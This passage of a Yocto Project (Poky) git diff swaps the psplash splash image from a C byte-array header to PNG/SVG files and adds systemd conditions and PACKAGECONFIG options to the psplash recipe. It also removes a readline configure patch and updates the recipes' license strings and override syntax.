- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\232\377\377\377")
-
-
diff --git a/meta/recipes-core/psplash/files/psplash-poky-img.png b/meta/recipes-core/psplash/files/psplash-poky-img.png
new file mode 100644
index 0000000000..239db1186e
--- /dev/null
+++ b/meta/recipes-core/psplash/files/psplash-poky-img.png
Binary files differ
diff --git a/meta/recipes-core/psplash/files/psplash-poky-img.svg b/meta/recipes-core/psplash/files/psplash-poky-img.svg
new file mode 100644
index 0000000000..8d953983a9
--- /dev/null
+++ b/meta/recipes-core/psplash/files/psplash-poky-img.svg
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+ width="1280mm"
+ height="800mm"
+ viewBox="0 0 1280 800"
+ version="1.1"
+ id="svg5"
+ inkscape:version="1.1.2 (0a00cf5339, 2022-02-04)"
+ sodipodi:docname="psplash-poky-img.svg"
+ inkscape:export-filename="/home/mike/work/yocto/poky/meta/recipes-core/psplash/files/psplash-poky-img.png"
+ inkscape:export-xdpi="25.4"
+ inkscape:export-ydpi="25.4"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:svg="http://www.w3.org/2000/svg">
+ <sodipodi:namedview
+ id="namedview7"
+ pagecolor="#ecece1"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageshadow="2"
+ inkscape:pageopacity="0"
+ inkscape:pagecheckerboard="0"
+ inkscape:document-units="mm"
+ showgrid="false"
+ units="mm"
+ inkscape:zoom="0.093984989"
+ inkscape:cx="2489.7593"
+ inkscape:cy="1005.4797"
+ inkscape:window-width="1654"
+ inkscape:window-height="1016"
+ inkscape:window-x="74"
+ inkscape:window-y="27"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="layer1" />
+ <defs
+ id="defs2" />
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <g
+ id="g10"
+ transform="matrix(0.90740741,0,0,-0.90740791,444,460.88448)"
+ style="stroke-width:0.0971934">
+ <g
+ id="g12"
+ transform="scale(0.1)"
+ style="stroke-width:0.0971934">
+ <path
+ inkscape:connector-curvature="0"
+ d="m 4320,994.227 c 0,-45.723 -36.96,-82.813 -82.81,-82.813 -45.72,0 -82.68,37.09 -82.68,82.813 0,45.713 36.96,82.793 82.68,82.793 45.85,0 82.81,-37.08 82.81,-82.793 v 0"
+ style="fill:#4597d9;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path14" />
+ <path
+ inkscape:connector-curvature="0"
+ d="M 796.738,1353.54 676.184,1421.84 433.375,929.832 174.371,1421.84 52.2461,1353.54 360.098,775.184 c -2.223,-5.477 -9.274,-20.625 -21.157,-45.704 -12.011,-23.906 -24.429,-47.792 -37.488,-71.718 -22.859,-41.274 -46.105,-74.84 -70.004,-100.961 -23.906,-27.16 -48.336,-48.84 -73.406,-65.172 C 133.098,475.301 107.105,462.898 79.9375,454.148 53.8125,445.52 27.168,438.461 0,432.98 L 55.5117,317.25 c 17.375,2.23 40.6211,7.719 70.0113,16.332 30.43,7.578 63.477,22.328 99.395,44.02 35.785,21.679 72.227,52.636 109.059,92.859 38.14,40.23 73.406,93.391 105.925,159.609 l 356.836,723.47"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path16" />
+ <path
+ inkscape:connector-curvature="0"
+ d="m 1455.8,993.445 c 0,-38.007 -6.52,-73.281 -19.59,-105.929 -13.07,-32.52 -30.96,-60.868 -53.68,-84.637 -21.81,-22.852 -47.8,-41.27 -78.23,-55.508 -29.4,-12.93 -61.39,-19.453 -96.14,-19.453 -34.74,0 -67.39,6.523 -97.69,19.453 -30.43,14.238 -57.08,32.656 -79.94,55.508 -21.68,23.769 -39.046,52.117 -52.112,84.637 -13.059,32.648 -19.59,67.922 -19.59,105.929 0,38.005 6.531,73.265 19.59,105.895 13.066,32.55 30.432,60.77 52.112,84.68 22.86,23.9 49.51,42.43 79.94,55.36 30.3,14.26 62.95,21.31 97.69,21.31 34.75,0 66.74,-7.05 96.14,-21.31 30.43,-12.93 56.42,-31.46 78.23,-55.36 22.72,-23.91 40.61,-52.13 53.68,-84.68 13.07,-32.63 19.59,-67.89 19.59,-105.895 m 151.51,0 c 0,56.425 -10.32,109.185 -30.95,158.035 -19.59,48.85 -47.28,91.18 -83.07,127.08 -35.92,35.8 -78.23,63.48 -127.08,83.08 -48.85,20.61 -101.62,30.95 -158.05,30.95 -56.42,0 -109.2,-10.34 -158.04,-30.95 -48.84,-19.6 -91.292,-47.28 -127.085,-83.08 -35.789,-35.9 -64.129,-78.23 -84.765,-127.08 -20.633,-48.85 -30.946,-101.61 -30.946,-158.035 0,-56.425 10.313,-109.199 30.946,-158.047 20.636,-47.804 48.976,-89.589 84.765,-125.39 35.793,-35.918 78.245,-64.121 127.085,-84.77 48.84,-19.59 101.62,-29.386 158.04,-29.386 56.43,0 109.2,9.796 158.05,29.386 48.85,20.649 91.16,48.852 127.08,84.77 35.79,35.801 63.48,77.586 83.07,125.39 20.63,48.848 30.95,101.622 30.95,158.047"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path18" />
+ <path
+ inkscape:connector-curvature="0"
+ d="m 3599.29,993.445 c 0,-38.007 -6.54,-73.281 -19.6,-105.929 -13.07,-32.52 -30.95,-60.868 -53.82,-84.637 -21.68,-22.852 -47.67,-41.27 -78.1,-55.508 -29.39,-12.93 -61.39,-19.453 -96.13,-19.453 -34.75,0 -67.4,6.523 -97.83,19.453 -30.3,14.238 -56.94,32.656 -79.8,55.508 -21.69,23.769 -39.06,52.117 -52.12,84.637 -13.06,32.648 -19.6,67.922 -19.6,105.929 0,38.005 6.54,73.265 19.6,105.895 13.06,32.55 30.43,60.77 52.12,84.68 22.86,23.9 49.5,42.43 79.8,55.36 30.43,14.26 63.08,21.31 97.83,21.31 34.74,0 66.74,-7.05 96.13,-21.31 30.43,-12.93 56.42,-31.46 78.1,-55.36 22.87,-23.91 40.75,-52.13 53.82,-84.68 13.06,-32.63 19.6,-67.89 19.6,-105.895 m 151.5,0 c 0,56.425 -10.32,109.185 -30.96,158.035 -19.59,48.85 -47.28,91.18 -83.06,127.08 -35.92,35.8 -78.23,63.48 -127.09,83.08 -48.85,20.61 -101.61,30.95 -158.04,30.95 -56.56,0 -109.19,-10.34 -158.05,-30.95 -48.84,-19.6 -91.3,-47.28 -127.08,-83.08 -35.79,-35.9 -64.13,-78.23 -84.77,-127.08 -20.63,-48.85 -30.95,-101.61 -30.95,-158.035 0,-56.425 10.32,-109.199 30.95,-158.047 20.64,-47.804 48.98,-89.589 84.77,-125.39 35.78,-35.918 78.24,-64.121 127.08,-84.77 48.86,-19.59 101.49,-29.386 158.05,-29.386 56.43,0 109.19,9.796 158.04,29.386 48.86,20.649 91.17,48.852 127.09,84.77 35.78,35.801 63.47,77.586 83.06,125.39 20.64,48.848 30.96,101.622 30.96,158.047"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path20" />
+ <path
+ inkscape:connector-curvature="0"
+ d="m 2676.51,1639.06 -145.11,-81.49 v -178.19 h -392.37 c -283.29,0 -454,-138.02 -454,-389.47 0,-390.531 406.85,-464.199 696.16,-324.57 l -60.99,118.34 c -228.97,-100.039 -482.49,-57.461 -482.49,208.847 0,171.893 89.48,265.933 297.8,265.933 H 2531.4 V 783.68 c 0,-209.899 240.45,-214.59 389.48,-128.535 l -57.34,113.261 c -95.87,-48.593 -187.03,-54.863 -187.03,38.262 v 451.792 h 198.53 v 120.92 h -198.53 v 259.68 0"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path22" />
+ <path
+ inkscape:connector-curvature="0"
+ d="m 1037.58,233.66 h 36.32 c 18.29,0.141 36.18,-12.93 36.18,-31.469 0,-31.089 -35.01,-35.8 -35.01,-35.8 l -37.49,-0.25 z m -52.365,44.41 V 3.91016 h 52.365 l 0.66,115.60984 c 93.38,-5.879 128.26,26.64 128.26,83.96 0,51.469 -46.11,74.59 -90.39,74.59 h -90.895 v 0"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path24" />
+ <path
+ inkscape:connector-curvature="0"
+ d="m 1986.62,140.809 c 0,-13.34 -2.49,-25.879 -7.45,-37.5 -4.58,-11.227 -11.1,-21.1488 -19.6,-29.6488 -8.49,-8.4805 -18.41,-15.1407 -29.78,-20.1211 -11.23,-4.5703 -23.5,-6.9102 -36.57,-6.9102 -13.19,0 -25.47,2.3399 -36.7,6.9102 -11.36,4.9804 -21.29,11.6406 -29.78,20.1211 -8.22,8.5 -14.76,18.4218 -19.59,29.6488 -4.96,11.621 -7.44,24.16 -7.44,37.5 0,13.32 2.48,25.722 7.44,37.089 4.83,11.481 11.37,21.543 19.59,30.043 8.49,8.469 18.42,15.02 29.78,19.719 11.23,4.828 23.51,7.309 36.7,7.309 13.07,0 25.34,-2.481 36.57,-7.309 11.37,-4.699 21.29,-11.25 29.78,-19.719 8.5,-8.5 15.02,-18.562 19.6,-30.043 4.96,-11.367 7.45,-23.769 7.45,-37.089 m 53.16,0 c 0,19.589 -3.8,37.871 -11.5,54.839 -7.45,17.25 -17.9,32.133 -31.35,44.672 -13.06,12.68 -28.61,22.602 -46.63,29.782 -17.76,7.468 -36.96,11.238 -57.47,11.238 -20.63,0 -39.96,-3.77 -57.99,-11.238 -17.76,-7.18 -33.17,-17.102 -46.24,-29.782 -13.19,-12.539 -23.5,-27.422 -31.34,-44.672 -7.46,-16.968 -11.11,-35.25 -11.11,-54.839 0,-19.868 3.65,-38.278 11.11,-55.2582 7.84,-16.9922 18.15,-31.8711 31.34,-44.6602 13.07,-12.6797 28.48,-22.6015 46.24,-29.789 18.03,-7.19144 37.36,-10.839881 57.99,-10.839881 20.51,0 39.71,3.648441 57.47,10.839881 18.02,7.1875 33.57,17.1093 46.63,29.789 13.45,12.7891 23.9,27.668 31.35,44.6602 7.7,16.9802 11.5,35.3902 11.5,55.2582"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path26" />
+ <path
+ inkscape:connector-curvature="0"
+ d="M 2253.58,277.57 V 69.75 c 0,-8.3594 -6.14,-17.6289 -16.32,-17.8906 l -16.32,-0.6602 0.91,-50.937481 15.28,-0.2500002 C 2288.33,-0.769531 2306.08,47.4102 2306.08,69.8906 V 277.16"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path28" />
+ <path
+ inkscape:connector-curvature="0"
+ d="M 2699.76,278.211 H 2524.99 V 4.96875 h 175.55 l -0.78,44.00005 H 2577.5 v 71.3322 h 102.28 v 44 H 2577.5 v 69.109 h 121.47 l 0.79,44.801"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path30" />
+ <path
+ inkscape:connector-curvature="0"
+ d="m 3102.69,212.641 c -89.46,49.109 -177.63,19.32 -177.63,-70.661 0,-72.4995 69.62,-128.2612 184.16,-68.3198 l 16.59,-44.7891 C 3015.83,-31.5898 2871.12,11.4883 2871.12,141.98 c 0,118.2 128.39,179.731 253.12,114.942 l -21.55,-44.281"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path32" />
+ <path
+ inkscape:connector-curvature="0"
+ d="m 3521.83,278.211 0.12,-44.801 h -87.24 V 4.19141 H 3382.2 V 233.41 h -83.71 l 1.17,44.801 h 222.17"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path34" />
+ <path
+ inkscape:connector-curvature="0"
+ d="m 1426.42,233.66 h 36.31 c 18.29,0.141 36.18,-12.93 36.18,-31.469 0,-31.089 -35,-35.8 -35,-35.8 l -37.49,-0.25 z m -52.25,44.41 V 3.91016 h 52.25 V 121.859 h 34.62 L 1521.63,3.91016 h 59.56 L 1508.96,136.102 c 28.61,12.789 43.5,35.269 43.5,67.378 0,53.559 -46.89,74.59 -98.49,74.59 h -79.8 v 0"
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.0971934"
+ id="path36" />
+ </g>
+ </g>
+ </g>
+</svg>
diff --git a/meta/recipes-core/psplash/files/psplash-start.service b/meta/recipes-core/psplash/files/psplash-start.service
index 36c2bb38e0..bec9368427 100644
--- a/meta/recipes-core/psplash/files/psplash-start.service
+++ b/meta/recipes-core/psplash/files/psplash-start.service
@@ -2,6 +2,7 @@
Description=Start psplash boot splash screen
DefaultDependencies=no
RequiresMountsFor=/run
+ConditionFileIsExecutable=/usr/bin/psplash
[Service]
Type=notify
diff --git a/meta/recipes-core/psplash/files/psplash-systemd.service b/meta/recipes-core/psplash/files/psplash-systemd.service
index 082207f232..e93e3deb35 100644
--- a/meta/recipes-core/psplash/files/psplash-systemd.service
+++ b/meta/recipes-core/psplash/files/psplash-systemd.service
@@ -4,6 +4,7 @@ DefaultDependencies=no
After=psplash-start.service
Requires=psplash-start.service
RequiresMountsFor=/run
+ConditionFileIsExecutable=/usr/bin/psplash
[Service]
ExecStart=/usr/bin/psplash-systemd
diff --git a/meta/recipes-core/psplash/psplash_git.bb b/meta/recipes-core/psplash/psplash_git.bb
index 44f0007daf..40937098e6 100644
--- a/meta/recipes-core/psplash/psplash_git.bb
+++ b/meta/recipes-core/psplash/psplash_git.bb
@@ -2,22 +2,21 @@ SUMMARY = "Userspace framebuffer boot logo based on usplash"
DESCRIPTION = "PSplash is a userspace graphical boot splash screen for mainly embedded Linux devices supporting a 16bpp or 32bpp framebuffer. It has few dependencies (just libc), supports basic images and text and handles rotation. Its visual look is configurable by basic source changes. Also included is a 'client' command utility for sending information to psplash such as boot progress information."
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/psplash"
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://psplash.h;beginline=1;endline=8;md5=8f232c1e95929eacab37f00900580224"
DEPENDS = "gdk-pixbuf-native"
-SRCREV = "0a902f7cd875ccf018456451be369f05fa55f962"
-PV = "0.1+git${SRCPV}"
-PR = "r15"
+SRCREV = "ecc1913756698d0c87ad8fa10e44b29537f09ad1"
+PV = "0.1+git"
-SRC_URI = "git://git.yoctoproject.org/${BPN} \
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master;protocol=https \
file://psplash-init \
file://psplash-start.service \
file://psplash-systemd.service \
${SPLASH_IMAGES}"
UPSTREAM_CHECK_COMMITS = "1"
-SPLASH_IMAGES = "file://psplash-poky-img.h;outsuffix=default"
+SPLASH_IMAGES = "file://psplash-poky-img.png;outsuffix=default"
python __anonymous() {
oldpkgs = d.getVar("PACKAGES").split()
@@ -44,7 +43,7 @@ python __anonymous() {
pkgs.append(outname)
localpaths.append(flocal)
- # Set these so that we have less work to do in do_compile and do_install_append
+ # Set these so that we have less work to do in do_compile and do_install:append
d.setVar("SPLASH_INSTALL", " ".join(pkgs))
d.setVar("SPLASH_LOCALPATHS", " ".join(localpaths))
for p in pkgs:
@@ -54,21 +53,24 @@ python __anonymous() {
for p in pkgs:
ep = '%s%s' % (mlprefix, p)
epsplash = '%s%s' % (mlprefix, 'psplash')
- d.setVar("FILES_%s" % ep, "${bindir}/%s" % p)
- d.setVar("ALTERNATIVE_%s" % ep, 'psplash')
+ d.setVar("FILES:%s" % ep, "${bindir}/%s" % p)
+ d.setVar("ALTERNATIVE:%s" % ep, 'psplash')
d.setVarFlag("ALTERNATIVE_TARGET_%s" % ep, 'psplash', '${bindir}/%s' % p)
- d.appendVar("RDEPENDS_%s" % ep, " %s" % pn)
+ d.appendVar("RDEPENDS:%s" % ep, " %s" % pn)
if p == "psplash-default":
- d.appendVar("RRECOMMENDS_%s" % pn, " %s" % ep)
+ d.appendVar("RDEPENDS:%s" % pn, " %s" % ep)
}
S = "${WORKDIR}/git"
inherit autotools pkgconfig update-rc.d update-alternatives systemd
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} progress-bar fullscreen"
PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
+PACKAGECONFIG[fullscreen] = "--enable-img-fullscreen"
+PACKAGECONFIG[startup-msg] = ",--disable-startup-msg"
+PACKAGECONFIG[progress-bar] = ",--disable-progress-bar"
ALTERNATIVE_PRIORITY = "100"
ALTERNATIVE_LINK_NAME[psplash] = "${bindir}/psplash"
@@ -98,16 +100,20 @@ python do_compile () {
shutil.copyfile("psplash", outputfile)
}
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/init.d/
install -m 0755 ${WORKDIR}/psplash-init ${D}${sysconfdir}/init.d/psplash.sh
+
+ # make fifo for psplash
+ install -d ${D}/mnt
+ mkfifo ${D}/mnt/psplash_fifo
fi
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 644 ${WORKDIR}/psplash-start.service ${D}/${systemd_unitdir}/system
- install -m 644 ${WORKDIR}/psplash-systemd.service ${D}/${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
+ install -m 644 ${WORKDIR}/psplash-start.service ${D}/${systemd_system_unitdir}
+ install -m 644 ${WORKDIR}/psplash-systemd.service ${D}/${systemd_system_unitdir}
fi
install -d ${D}${bindir}
@@ -118,7 +124,9 @@ do_install_append() {
}
SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES','systemd','${PN}','',d)}"
-SYSTEMD_SERVICE_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'psplash-start.service psplash-systemd.service', '', d)}"
+SYSTEMD_SERVICE:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'psplash-start.service psplash-systemd.service', '', d)}"
INITSCRIPT_NAME = "psplash.sh"
INITSCRIPT_PARAMS = "start 0 S . stop 20 0 1 6 ."
+
+FILES:${PN} += "/mnt"
diff --git a/meta/recipes-core/readline/readline-8.0/rl-native.map b/meta/recipes-core/readline/files/rl-native.map
index 5e7d49cdd2..5e7d49cdd2 100644
--- a/meta/recipes-core/readline/readline-8.0/rl-native.map
+++ b/meta/recipes-core/readline/files/rl-native.map
diff --git a/meta/recipes-core/readline/readline-8.0/configure-fix.patch b/meta/recipes-core/readline/readline-8.0/configure-fix.patch
deleted file mode 100644
index ef3104f8a6..0000000000
--- a/meta/recipes-core/readline/readline-8.0/configure-fix.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-Upstream-Status: Pending
-
-Without this it fails to link against libtermcap causing various missing
-symbols issues.
-
-RP - 8/10/08
-
-Support 6.3 which uses configure.ac rather than configure.in.
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.ac | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index cea8f91..9075b8f 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -218,10 +218,10 @@ if test -f ${srcdir}/support/shobj-conf; then
- AC_MSG_CHECKING(configuration for building shared libraries)
- eval `TERMCAP_LIB=$TERMCAP_LIB ${CONFIG_SHELL-/bin/sh} ${srcdir}/support/shobj-conf -C "${CC}" -c ${host_cpu} -o ${host_os} -v ${host_vendor}`
-
--# case "$SHLIB_LIBS" in
--# *curses*|*termcap*|*termlib*) ;;
--# *) SHLIB_LIBS="$SHLIB_LIBS $TERMCAP_LIB" ;;
--# esac
-+ case "$SHLIB_LIBS" in
-+ *curses*|*termcap*|*termlib*) ;;
-+ *) SHLIB_LIBS="$SHLIB_LIBS $TERMCAP_LIB" ;;
-+ esac
-
- AC_SUBST(SHOBJ_CC)
- AC_SUBST(SHOBJ_CFLAGS)
---
-1.8.1.2
-
diff --git a/meta/recipes-core/readline/readline.inc b/meta/recipes-core/readline/readline.inc
index 052e2d5f3d..4aefc5636d 100644
--- a/meta/recipes-core/readline/readline.inc
+++ b/meta/recipes-core/readline/readline.inc
@@ -4,10 +4,10 @@ command lines as they are typed in. Both Emacs and vi editing modes are availabl
additional functions to maintain a list of previously-entered command lines, to recall and perhaps reedit those \
lines, and perform csh-like history expansion on previous commands."
SECTION = "libs"
-HOMEPAGE = "https://cnswww.cns.cwru.edu/php/chet/readline/rltop.html"
+HOMEPAGE = "https://tiswww.case.edu/php/chet/readline/rltop.html"
-# GPLv2+ (< 6.0), GPLv3+ (>= 6.0)
-LICENSE = "GPLv3+"
+# GPL-2.0-or-later (< 6.0), GPL-3.0-or-later (>= 6.0)
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
DEPENDS += "ncurses"
@@ -18,16 +18,17 @@ SRC_URI += "file://inputrc"
inherit autotools texinfo
EXTRA_AUTORECONF += "--exclude=autoheader"
+EXTRA_OECONF += "bash_cv_termcap_lib=ncurses --with-shared-termcap-library"
LEAD_SONAME = "libreadline.so"
-do_configure_prepend () {
+do_configure:prepend () {
if [ ! -e ${S}/acinclude.m4 ]; then
